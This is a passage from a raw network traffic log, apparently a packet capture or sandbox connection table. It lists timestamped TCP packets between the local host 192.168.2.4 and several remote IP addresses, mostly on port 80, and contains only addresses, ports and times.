Sep 11, 2024 16:22:17.177056074 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.177062988 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.177074909 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.177087069 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.177098036 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.177138090 CEST	49746	443	192.168.2.4	76.76.21.61
Sep 11, 2024 16:22:17.177155972 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.177155972 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.177237034 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.177248001 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.177258968 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.177278042 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.177309036 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.177314043 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.177323103 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.177335024 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.177346945 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.177352905 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.177356958 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.177371979 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.177390099 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.177423954 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.177423954 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.177613974 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.177627087 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.177644014 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.177655935 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.177660942 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.177666903 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.177678108 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.177689075 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.177689075 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.177700043 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.177711964 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.177722931 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.177727938 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.177735090 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.177747011 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.177762032 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.177762032 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.177789927 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.177876949 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.177889109 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.177900076 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.177922010 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.177946091 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.177974939 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.177988052 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.178034067 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.179482937 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.179502964 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.179514885 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.179543018 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.179565907 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.179582119 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.179593086 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.179604053 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.179615021 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.179641008 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.179662943 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.179675102 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.179686069 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.179696083 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.179697037 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.179709911 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.179711103 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.179723978 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.179780960 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.179804087 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.179892063 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.179903030 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.179913998 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.179936886 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.179939985 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.179950953 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.179964066 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.179972887 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.179985046 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.180006981 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.180006981 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.180042982 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.180053949 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.180068016 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.180090904 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.180094957 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.180102110 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.180114031 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.180128098 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.180131912 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.180140018 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.180150986 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.180160046 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.180216074 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.180216074 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.180408001 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.180418968 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.180428982 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.180439949 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.180450916 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.180455923 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.180469036 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.180480003 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.180490971 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.180502892 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.180511951 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.180511951 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.180516005 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.180527925 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.180540085 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.180552959 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.180557966 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.180557966 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.180563927 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.180576086 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.180593014 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.180596113 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.180596113 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.180604935 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.180627108 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.180644035 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.180648088 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.180655956 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.180660009 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.180668116 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.180679083 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.180684090 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.180692911 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.180720091 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.180725098 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.180742979 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.180778980 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.180795908 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.180808067 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.180819035 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.180835962 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.180855989 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.180861950 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.180869102 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.180880070 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.180890083 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.180901051 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.180901051 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.180912971 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.180932999 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.180933952 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.180946112 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.180957079 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.180982113 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.180988073 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.180999041 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.181010008 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.181015015 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.181015015 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.181051970 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.181057930 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.181068897 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.181096077 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.181128979 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.181180954 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.181219101 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.181344986 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.181389093 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.186578035 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.186652899 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.186680079 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.186691999 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.186722994 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.186749935 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.186757088 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.186769009 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.186779976 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.186791897 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.186794043 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.186805010 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.186814070 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.186835051 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.186881065 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.186891079 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.186902046 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.186913013 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.186930895 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.186959028 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.187021971 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.187033892 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.187045097 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.187062025 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.187063932 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.187078953 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.187088966 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.187098980 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.187099934 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.187140942 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.187164068 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.187175989 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.187186956 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.187203884 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.187237978 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.187294960 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.187306881 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.187340021 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.187360048 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.187372923 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.187390089 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.187401056 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.187403917 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.187416077 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.187427998 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.187436104 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.187447071 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.187458038 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.187468052 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.187474012 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.187483072 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.187494040 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.187495947 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.187506914 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.187520981 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.187546015 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.187594891 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.187606096 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.187617064 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.187628031 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.187637091 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.187639952 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.187650919 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.187658072 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.187663078 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.187685966 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.187695980 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.187697887 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.187707901 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.187719107 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.187730074 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.187735081 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.187742949 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.187762976 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.187764883 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.187776089 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.187786102 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.187793016 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.187822104 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.187854052 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.188035011 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.188045979 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.188061953 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.188072920 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.188080072 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.188083887 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.188096046 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.188107967 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.188114882 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.188119888 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.188132048 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.188136101 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.188143969 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.188155890 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.188163996 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.188169003 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.188179016 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.188188076 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.188206911 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.188230038 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.188240051 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.188240051 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.188251972 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.188270092 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.188303947 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.188375950 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.188388109 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.188397884 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.188409090 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.188421965 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.188426971 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.188433886 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.188440084 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.188447952 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.188474894 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.188476086 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.188491106 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.188499928 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.188500881 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.188514948 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.188528061 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.188536882 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.188539982 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.188574076 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.188736916 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.188750029 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.188760042 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.188781023 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.188802958 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.189527988 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.189539909 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.189551115 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.189575911 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.189604998 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.189620972 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.189631939 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.189642906 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.189655066 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.189666033 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.189703941 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.189892054 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.189903975 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.189914942 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.189935923 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.189949989 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.189965010 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.189970016 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.189977884 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.189990044 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.190001965 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.190005064 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.190026999 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.190045118 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.193627119 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.193698883 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.193792105 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.193804026 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.193837881 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.193873882 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.193938971 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.193957090 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.193969011 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.193979025 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.193983078 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.193991899 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.194004059 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.194010019 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.194031000 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.194047928 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.194052935 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.194061041 CEST	80	49736	176.113.115.33	192.168.2.4
